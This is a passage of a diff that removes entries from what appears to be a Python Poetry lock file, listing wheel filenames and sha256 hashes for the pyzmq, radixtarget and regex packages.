-    {file = "pyzmq-27.1.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:e2687c2d230e8d8584fbea433c24382edfeda0c60627aca3446aa5e58d5d1831"},
-    {file = "pyzmq-27.1.0-cp38-cp38-win32.whl", hash = "sha256:a1aa0ee920fb3825d6c825ae3f6c508403b905b698b6460408ebd5bb04bbb312"},
-    {file = "pyzmq-27.1.0-cp38-cp38-win_amd64.whl", hash = "sha256:df7cd397ece96cf20a76fae705d40efbab217d217897a5053267cd88a700c266"},
-    {file = "pyzmq-27.1.0-cp39-cp39-macosx_10_15_universal2.whl", hash = "sha256:96c71c32fff75957db6ae33cd961439f386505c6e6b377370af9b24a1ef9eafb"},
-    {file = "pyzmq-27.1.0-cp39-cp39-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:49d3980544447f6bd2968b6ac913ab963a49dcaa2d4a2990041f16057b04c429"},
-    {file = "pyzmq-27.1.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:849ca054d81aa1c175c49484afaaa5db0622092b5eccb2055f9f3bb8f703782d"},
-    {file = "pyzmq-27.1.0-cp39-cp39-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3970778e74cb7f85934d2b926b9900e92bfe597e62267d7499acc39c9c28e345"},
-    {file = "pyzmq-27.1.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:da96ecdcf7d3919c3be2de91a8c513c186f6762aa6cf7c01087ed74fad7f0968"},
-    {file = "pyzmq-27.1.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:9541c444cfe1b1c0156c5c86ece2bb926c7079a18e7b47b0b1b3b1b875e5d098"},
-    {file = "pyzmq-27.1.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:e30a74a39b93e2e1591b58eb1acef4902be27c957a8720b0e368f579b82dc22f"},
-    {file = "pyzmq-27.1.0-cp39-cp39-win32.whl", hash = "sha256:b1267823d72d1e40701dcba7edc45fd17f71be1285557b7fe668887150a14b78"},
-    {file = "pyzmq-27.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:0c996ded912812a2fcd7ab6574f4ad3edc27cb6510349431e4930d4196ade7db"},
-    {file = "pyzmq-27.1.0-cp39-cp39-win_arm64.whl", hash = "sha256:346e9ba4198177a07e7706050f35d733e08c1c1f8ceacd5eb6389d653579ffbc"},
-    {file = "pyzmq-27.1.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:c17e03cbc9312bee223864f1a2b13a99522e0dc9f7c5df0177cd45210ac286e6"},
-    {file = "pyzmq-27.1.0-pp310-pypy310_pp73-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:f328d01128373cb6763823b2b4e7f73bdf767834268c565151eacb3b7a392f90"},
-    {file = "pyzmq-27.1.0-pp310-pypy310_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9c1790386614232e1b3a40a958454bdd42c6d1811837b15ddbb052a032a43f62"},
-    {file = "pyzmq-27.1.0-pp310-pypy310_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:448f9cb54eb0cee4732b46584f2710c8bc178b0e5371d9e4fc8125201e413a74"},
-    {file = "pyzmq-27.1.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:05b12f2d32112bf8c95ef2e74ec4f1d4beb01f8b5e703b38537f8849f92cb9ba"},
-    {file = "pyzmq-27.1.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:18770c8d3563715387139060d37859c02ce40718d1faf299abddcdcc6a649066"},
-    {file = "pyzmq-27.1.0-pp311-pypy311_pp73-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:ac25465d42f92e990f8d8b0546b01c391ad431c3bf447683fdc40565941d0604"},
-    {file = "pyzmq-27.1.0-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:53b40f8ae006f2734ee7608d59ed661419f087521edbfc2149c3932e9c14808c"},
-    {file = "pyzmq-27.1.0-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f605d884e7c8be8fe1aa94e0a783bf3f591b84c24e4bc4f3e7564c82ac25e271"},
-    {file = "pyzmq-27.1.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:c9f7f6e13dff2e44a6afeaf2cf54cee5929ad64afaf4d40b50f93c58fc687355"},
-    {file = "pyzmq-27.1.0-pp38-pypy38_pp73-macosx_10_15_x86_64.whl", hash = "sha256:50081a4e98472ba9f5a02850014b4c9b629da6710f8f14f3b15897c666a28f1b"},
-    {file = "pyzmq-27.1.0-pp38-pypy38_pp73-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:510869f9df36ab97f89f4cff9d002a89ac554c7ac9cadd87d444aa4cf66abd27"},
-    {file = "pyzmq-27.1.0-pp38-pypy38_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:1f8426a01b1c4098a750973c37131cf585f61c7911d735f729935a0c701b68d3"},
-    {file = "pyzmq-27.1.0-pp38-pypy38_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:726b6a502f2e34c6d2ada5e702929586d3ac948a4dbbb7fed9854ec8c0466027"},
-    {file = "pyzmq-27.1.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:bd67e7c8f4654bef471c0b1ca6614af0b5202a790723a58b79d9584dc8022a78"},
-    {file = "pyzmq-27.1.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:722ea791aa233ac0a819fc2c475e1292c76930b31f1d828cb61073e2fe5e208f"},
-    {file = "pyzmq-27.1.0-pp39-pypy39_pp73-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:01f9437501886d3a1dd4b02ef59fb8cc384fa718ce066d52f175ee49dd5b7ed8"},
-    {file = "pyzmq-27.1.0-pp39-pypy39_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4a19387a3dddcc762bfd2f570d14e2395b2c9701329b266f83dd87a2b3cbd381"},
-    {file = "pyzmq-27.1.0-pp39-pypy39_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4c618fbcd069e3a29dcd221739cacde52edcc681f041907867e0f5cc7e85f172"},
-    {file = "pyzmq-27.1.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:ff8d114d14ac671d88c89b9224c63d6c4e5a613fe8acd5594ce53d752a3aafe9"},
-    {file = "pyzmq-27.1.0.tar.gz", hash = "sha256:ac0765e3d44455adb6ddbf4417dcce460fc40a05978c08efdf2948072f6db540"},
-]
-
-[package.dependencies]
-cffi = {version = "*", markers = "implementation_name == \"pypy\""}
-
-[[package]]
-name = "radixtarget"
-version = "3.0.15"
-description = "Check whether an IP address belongs to a cloud provider"
-optional = false
-python-versions = "<4.0,>=3.9"
-groups = ["main"]
-files = [
-    {file = "radixtarget-3.0.15-py3-none-any.whl", hash = "sha256:1e1d0dd3e8742ffcfc42084eb238f31f6785626b876ab63a9f28a29e97bd3bb0"},
-    {file = "radixtarget-3.0.15.tar.gz", hash = "sha256:dedfad3aea1e973f261b7bc0d8936423f59ae4d082648fd496c6cdfdfa069fea"},
-]
-
-[[package]]
-name = "regex"
-version = "2026.1.15"
-description = "Alternative regular expression module, to replace re."
-optional = false
-python-versions = ">=3.9"
-groups = ["main"]
-files = [
-    {file = "regex-2026.1.15-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:4e3dd93c8f9abe8aa4b6c652016da9a3afa190df5ad822907efe6b206c09896e"},
-    {file = "regex-2026.1.15-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:97499ff7862e868b1977107873dd1a06e151467129159a6ffd07b66706ba3a9f"},
-    {file = "regex-2026.1.15-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0bda75ebcac38d884240914c6c43d8ab5fb82e74cde6da94b43b17c411aa4c2b"},
-    {file = "regex-2026.1.15-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7dcc02368585334f5bc81fc73a2a6a0bbade60e7d83da21cead622faf408f32c"},
-    {file = "regex-2026.1.15-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:693b465171707bbe882a7a05de5e866f33c76aa449750bee94a8d90463533cc9"},
-    {file = "regex-2026.1.15-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b0d190e6f013ea938623a58706d1469a62103fb2a241ce2873a9906e0386582c"},
-    {file = "regex-2026.1.15-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5ff818702440a5878a81886f127b80127f5d50563753a28211482867f8318106"},
-    {file = "regex-2026.1.15-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:f052d1be37ef35a54e394de66136e30fa1191fab64f71fc06ac7bc98c9a84618"},
-    {file = "regex-2026.1.15-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6bfc31a37fd1592f0c4fc4bfc674b5c42e52efe45b4b7a6a14f334cca4bcebe4"},
-    {file = "regex-2026.1.15-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3d6ce5ae80066b319ae3bc62fd55a557c9491baa5efd0d355f0de08c4ba54e79"},
-    {file = "regex-2026.1.15-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:1704d204bd42b6bb80167df0e4554f35c255b579ba99616def38f69e14a5ccb9"},
-    {file = "regex-2026.1.15-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:e3174a5ed4171570dc8318afada56373aa9289eb6dc0d96cceb48e7358b0e220"},
-    {file = "regex-2026.1.15-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:87adf5bd6d72e3e17c9cb59ac4096b1faaf84b7eb3037a5ffa61c4b4370f0f13"},
-    {file = "regex-2026.1.15-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:e85dc94595f4d766bd7d872a9de5ede1ca8d3063f3bdf1e2c725f5eb411159e3"},
-    {file = "regex-2026.1.15-cp310-cp310-win32.whl", hash = "sha256:21ca32c28c30d5d65fc9886ff576fc9b59bbca08933e844fa2363e530f4c8218"},
-    {file = "regex-2026.1.15-cp310-cp310-win_amd64.whl", hash = "sha256:3038a62fc7d6e5547b8915a3d927a0fbeef84cdbe0b1deb8c99bbd4a8961b52a"},
-    {file = "regex-2026.1.15-cp310-cp310-win_arm64.whl", hash = "sha256:505831646c945e3e63552cc1b1b9b514f0e93232972a2d5bedbcc32f15bc82e3"},
-    {file = "regex-2026.1.15-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:1ae6020fb311f68d753b7efa9d4b9a5d47a5d6466ea0d5e3b5a471a960ea6e4a"},
-    {file = "regex-2026.1.15-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:eddf73f41225942c1f994914742afa53dc0d01a6e20fe14b878a1b1edc74151f"},
-    {file = "regex-2026.1.15-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1e8cd52557603f5c66a548f69421310886b28b7066853089e1a71ee710e1cdc1"},
-    {file = "regex-2026.1.15-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5170907244b14303edc5978f522f16c974f32d3aa92109fabc2af52411c9433b"},
-    {file = "regex-2026.1.15-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2748c1ec0663580b4510bd89941a31560b4b439a0b428b49472a3d9944d11cd8"},
-    {file = "regex-2026.1.15-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2f2775843ca49360508d080eaa87f94fa248e2c946bbcd963bb3aae14f333413"},
-    {file = "regex-2026.1.15-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d9ea2604370efc9a174c1b5dcc81784fb040044232150f7f33756049edfc9026"},
-    {file = "regex-2026.1.15-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0dcd31594264029b57bf16f37fd7248a70b3b764ed9e0839a8f271b2d22c0785"},
-    {file = "regex-2026.1.15-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c08c1f3e34338256732bd6938747daa3c0d5b251e04b6e43b5813e94d503076e"},
-    {file = "regex-2026.1.15-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:e43a55f378df1e7a4fa3547c88d9a5a9b7113f653a66821bcea4718fe6c58763"},
-    {file = "regex-2026.1.15-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:f82110ab962a541737bd0ce87978d4c658f06e7591ba899192e2712a517badbb"},
-    {file = "regex-2026.1.15-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:27618391db7bdaf87ac6c92b31e8f0dfb83a9de0075855152b720140bda177a2"},
-    {file = "regex-2026.1.15-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:bfb0d6be01fbae8d6655c8ca21b3b72458606c4aec9bbc932db758d47aba6db1"},
-    {file = "regex-2026.1.15-cp311-cp311-win32.whl", hash = "sha256:b10e42a6de0e32559a92f2f8dc908478cc0fa02838d7dbe764c44dca3fa13569"},
-    {file = "regex-2026.1.15-cp311-cp311-win_amd64.whl", hash = "sha256:e9bf3f0bbdb56633c07d7116ae60a576f846efdd86a8848f8d62b749e1209ca7"},
-    {file = "regex-2026.1.15-cp311-cp311-win_arm64.whl", hash = "sha256:41aef6f953283291c4e4e6850607bd71502be67779586a61472beacb315c97ec"},
-    {file = "regex-2026.1.15-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:4c8fcc5793dde01641a35905d6731ee1548f02b956815f8f1cab89e515a5bdf1"},
-    {file = "regex-2026.1.15-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:bfd876041a956e6a90ad7cdb3f6a630c07d491280bfeed4544053cd434901681"},
-    {file = "regex-2026.1.15-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:9250d087bc92b7d4899ccd5539a1b2334e44eee85d848c4c1aef8e221d3f8c8f"},
-    {file = "regex-2026.1.15-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c8a154cf6537ebbc110e24dabe53095e714245c272da9c1be05734bdad4a61aa"},
-    {file = "regex-2026.1.15-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8050ba2e3ea1d8731a549e83c18d2f0999fbc99a5f6bd06b4c91449f55291804"},
-    {file = "regex-2026.1.15-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0bf065240704cb8951cc04972cf107063917022511273e0969bdb34fc173456c"},
-    {file = "regex-2026.1.15-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c32bef3e7aeee75746748643667668ef941d28b003bfc89994ecf09a10f7a1b5"},
-    {file = "regex-2026.1.15-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d5eaa4a4c5b1906bd0d2508d68927f15b81821f85092e06f1a34a4254b0e1af3"},
-    {file = "regex-2026.1.15-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:86c1077a3cc60d453d4084d5b9649065f3bf1184e22992bd322e1f081d3117fb"},
-    {file = "regex-2026.1.15-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:2b091aefc05c78d286657cd4db95f2e6313375ff65dcf085e42e4c04d9c8d410"},
-    {file = "regex-2026.1.15-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:57e7d17f59f9ebfa9667e6e5a1c0127b96b87cb9cede8335482451ed00788ba4"},
-    {file = "regex-2026.1.15-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:c6c4dcdfff2c08509faa15d36ba7e5ef5fcfab25f1e8f85a0c8f45bc3a30725d"},
-    {file = "regex-2026.1.15-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:cf8ff04c642716a7f2048713ddc6278c5fd41faa3b9cab12607c7abecd012c22"},
-    {file = "regex-2026.1.15-cp312-cp312-win32.whl", hash = "sha256:82345326b1d8d56afbe41d881fdf62f1926d7264b2fc1537f99ae5da9aad7913"},
-    {file = "regex-2026.1.15-cp312-cp312-win_amd64.whl", hash = "sha256:4def140aa6156bc64ee9912383d4038f3fdd18fee03a6f222abd4de6357ce42a"},
-    {file = "regex-2026.1.15-cp312-cp312-win_arm64.whl", hash = "sha256:c6c565d9a6e1a8d783c1948937ffc377dd5771e83bd56de8317c450a954d2056"},
-    {file = "regex-2026.1.15-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e69d0deeb977ffe7ed3d2e4439360089f9c3f217ada608f0f88ebd67afb6385e"},
-    {file = "regex-2026.1.15-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:3601ffb5375de85a16f407854d11cca8fe3f5febbe3ac78fb2866bb220c74d10"},
-    {file = "regex-2026.1.15-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:4c5ef43b5c2d4114eb8ea424bb8c9cec01d5d17f242af88b2448f5ee81caadbc"},
-    {file = "regex-2026.1.15-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:968c14d4f03e10b2fd960f1d5168c1f0ac969381d3c1fcc973bc45fb06346599"},
-    {file = "regex-2026.1.15-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:56a5595d0f892f214609c9f76b41b7428bed439d98dc961efafdd1354d42baae"},
-    {file = "regex-2026.1.15-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0bf650f26087363434c4e560011f8e4e738f6f3e029b85d4904c50135b86cfa5"},
-    {file = "regex-2026.1.15-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:18388a62989c72ac24de75f1449d0fb0b04dfccd0a1a7c1c43af5eb503d890f6"},
-    {file = "regex-2026.1.15-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6d220a2517f5893f55daac983bfa9fe998a7dbcaee4f5d27a88500f8b7873788"},
-    {file = "regex-2026.1.15-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:c9c08c2fbc6120e70abff5d7f28ffb4d969e14294fb2143b4b5c7d20e46d1714"},
-    {file = "regex-2026.1.15-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:7ef7d5d4bd49ec7364315167a4134a015f61e8266c6d446fc116a9ac4456e10d"},
-    {file = "regex-2026.1.15-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:6e42844ad64194fa08d5ccb75fe6a459b9b08e6d7296bd704460168d58a388f3"},
-    {file = "regex-2026.1.15-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:cfecdaa4b19f9ca534746eb3b55a5195d5c95b88cac32a205e981ec0a22b7d31"},
-    {file = "regex-2026.1.15-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:08df9722d9b87834a3d701f3fca570b2be115654dbfd30179f30ab2f39d606d3"},
-    {file = "regex-2026.1.15-cp313-cp313-win32.whl", hash = "sha256:d426616dae0967ca225ab12c22274eb816558f2f99ccb4a1d52ca92e8baf180f"},
-    {file = "regex-2026.1.15-cp313-cp313-win_amd64.whl", hash = "sha256:febd38857b09867d3ed3f4f1af7d241c5c50362e25ef43034995b77a50df494e"},
-    {file = "regex-2026.1.15-cp313-cp313-win_arm64.whl", hash = "sha256:8e32f7896f83774f91499d239e24cebfadbc07639c1494bb7213983842348337"},
-    {file = "regex-2026.1.15-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:ec94c04149b6a7b8120f9f44565722c7ae31b7a6d2275569d2eefa76b83da3be"},
-    {file = "regex-2026.1.15-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:40c86d8046915bb9aeb15d3f3f15b6fd500b8ea4485b30e1bbc799dab3fe29f8"},
-    {file = "regex-2026.1.15-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:726ea4e727aba21643205edad8f2187ec682d3305d790f73b7a51c7587b64bdd"},
-    {file = "regex-2026.1.15-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1cb740d044aff31898804e7bf1181cc72c03d11dfd19932b9911ffc19a79070a"},
-    {file = "regex-2026.1.15-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:05d75a668e9ea16f832390d22131fe1e8acc8389a694c8febc3e340b0f810b93"},
-    {file = "regex-2026.1.15-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d991483606f3dbec93287b9f35596f41aa2e92b7c2ebbb935b63f409e243c9af"},
-    {file = "regex-2026.1.15-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:194312a14819d3e44628a44ed6fea6898fdbecb0550089d84c403475138d0a09"},
-    {file = "regex-2026.1.15-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fe2fda4110a3d0bc163c2e0664be44657431440722c5c5315c65155cab92f9e5"},
-    {file = "regex-2026.1.15-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:124dc36c85d34ef2d9164da41a53c1c8c122cfb1f6e1ec377a1f27ee81deb794"},
-    {file = "regex-2026.1.15-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:a1774cd1981cd212506a23a14dba7fdeaee259f5deba2df6229966d9911e767a"},
-    {file = "regex-2026.1.15-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:b5f7d8d2867152cdb625e72a530d2ccb48a3d199159144cbdd63870882fb6f80"},
-    {file = "regex-2026.1.15-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:492534a0ab925d1db998defc3c302dae3616a2fc3fe2e08db1472348f096ddf2"},
-    {file = "regex-2026.1.15-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:c661fc820cfb33e166bf2450d3dadbda47c8d8981898adb9b6fe24e5e582ba60"},
-    {file = "regex-2026.1.15-cp313-cp313t-win32.whl", hash = "sha256:99ad739c3686085e614bf77a508e26954ff1b8f14da0e3765ff7abbf7799f952"},
-    {file = "regex-2026.1.15-cp313-cp313t-win_amd64.whl", hash = "sha256:32655d17905e7ff8ba5c764c43cb124e34a9245e45b83c22e81041e1071aee10"},
-    {file = "regex-2026.1.15-cp313-cp313t-win_arm64.whl", hash = "sha256:b2a13dd6a95e95a489ca242319d18fc02e07ceb28fa9ad146385194d95b3c829"},
-    {file = "regex-2026.1.15-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:d920392a6b1f353f4aa54328c867fec3320fa50657e25f64abf17af054fc97ac"},
-    {file = "regex-2026.1.15-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:b5a28980a926fa810dbbed059547b02783952e2efd9c636412345232ddb87ff6"},
-    {file = "regex-2026.1.15-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:621f73a07595d83f28952d7bd1e91e9d1ed7625fb7af0064d3516674ec93a2a2"},
-    {file = "regex-2026.1.15-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3d7d92495f47567a9b1669c51fc8d6d809821849063d168121ef801bbc213846"},
-    {file = "regex-2026.1.15-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8dd16fba2758db7a3780a051f245539c4451ca20910f5a5e6ea1c08d06d4a76b"},
-    {file = "regex-2026.1.15-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:1e1808471fbe44c1a63e5f577a1d5f02fe5d66031dcbdf12f093ffc1305a858e"},
-    {file = "regex-2026.1.15-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0751a26ad39d4f2ade8fe16c59b2bf5cb19eb3d2cd543e709e583d559bd9efde"},
-    {file = "regex-2026.1.15-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0f0c7684c7f9ca241344ff95a1de964f257a5251968484270e91c25a755532c5"},
-    {file = "regex-2026.1.15-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:74f45d170a21df41508cb67165456538425185baaf686281fa210d7e729abc34"},
-    {file = "regex-2026.1.15-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:f1862739a1ffb50615c0fde6bae6569b5efbe08d98e59ce009f68a336f64da75"},
-    {file = "regex-2026.1.15-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:453078802f1b9e2b7303fb79222c054cb18e76f7bdc220f7530fdc85d319f99e"},
-    {file = "regex-2026.1.15-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:a30a68e89e5a218b8b23a52292924c1f4b245cb0c68d1cce9aec9bbda6e2c160"},
-    {file = "regex-2026.1.15-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:9479cae874c81bf610d72b85bb681a94c95722c127b55445285fb0e2c82db8e1"},
-    {file = "regex-2026.1.15-cp314-cp314-win32.whl", hash = "sha256:d639a750223132afbfb8f429c60d9d318aeba03281a5f1ab49f877456448dcf1"},
-    {file = "regex-2026.1.15-cp314-cp314-win_amd64.whl", hash = "sha256:4161d87f85fa831e31469bfd82c186923070fc970b9de75339b68f0c75b51903"},
-    {file = "regex-2026.1.15-cp314-cp314-win_arm64.whl", hash = "sha256:91c5036ebb62663a6b3999bdd2e559fd8456d17e2b485bf509784cd31a8b1705"},
-    {file = "regex-2026.1.15-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:ee6854c9000a10938c79238de2379bea30c82e4925a371711af45387df35cab8"},
-    {file = "regex-2026.1.15-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:2c2b80399a422348ce5de4fe40c418d6299a0fa2803dd61dc0b1a2f28e280fcf"},
-    {file = "regex-2026.1.15-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:dca3582bca82596609959ac39e12b7dad98385b4fefccb1151b937383cec547d"},
-    {file = "regex-2026.1.15-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ef71d476caa6692eea743ae5ea23cde3260677f70122c4d258ca952e5c2d4e84"},
-    {file = "regex-2026.1.15-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c243da3436354f4af6c3058a3f81a97d47ea52c9bd874b52fd30274853a1d5df"},
-    {file = "regex-2026.1.15-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:8355ad842a7c7e9e5e55653eade3b7d1885ba86f124dd8ab1f722f9be6627434"},
-    {file = "regex-2026.1.15-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f192a831d9575271a22d804ff1a5355355723f94f31d9eef25f0d45a152fdc1a"},
-    {file = "regex-2026.1.15-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:166551807ec20d47ceaeec380081f843e88c8949780cd42c40f18d16168bed10"},
-    {file = "regex-2026.1.15-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:f9ca1cbdc0fbfe5e6e6f8221ef2309988db5bcede52443aeaee9a4ad555e0dac"},
-    {file = "regex-2026.1.15-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:b30bcbd1e1221783c721483953d9e4f3ab9c5d165aa709693d3f3946747b1aea"},
-    {file = "regex-2026.1.15-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:2a8d7b50c34578d0d3bf7ad58cde9652b7d683691876f83aedc002862a35dc5e"},
-    {file = "regex-2026.1.15-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:9d787e3310c6a6425eb346be4ff2ccf6eece63017916fd77fe8328c57be83521"},
-    {file = "regex-2026.1.15-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:619843841e220adca114118533a574a9cd183ed8a28b85627d2844c500a2b0db"},
-    {file = "regex-2026.1.15-cp314-cp314t-win32.whl", hash = "sha256:e90b8db97f6f2c97eb045b51a6b2c5ed69cedd8392459e0642d4199b94fabd7e"},
-    {file = "regex-2026.1.15-cp314-cp314t-win_amd64.whl", hash = "sha256:5ef19071f4ac9f0834793af85bd04a920b4407715624e40cb7a0631a11137cdf"},
-    {file = "regex-2026.1.15-cp314-cp314t-win_arm64.whl", hash = "sha256:ca89c5e596fc05b015f27561b3793dc2fa0917ea0d7507eebb448efd35274a70"},
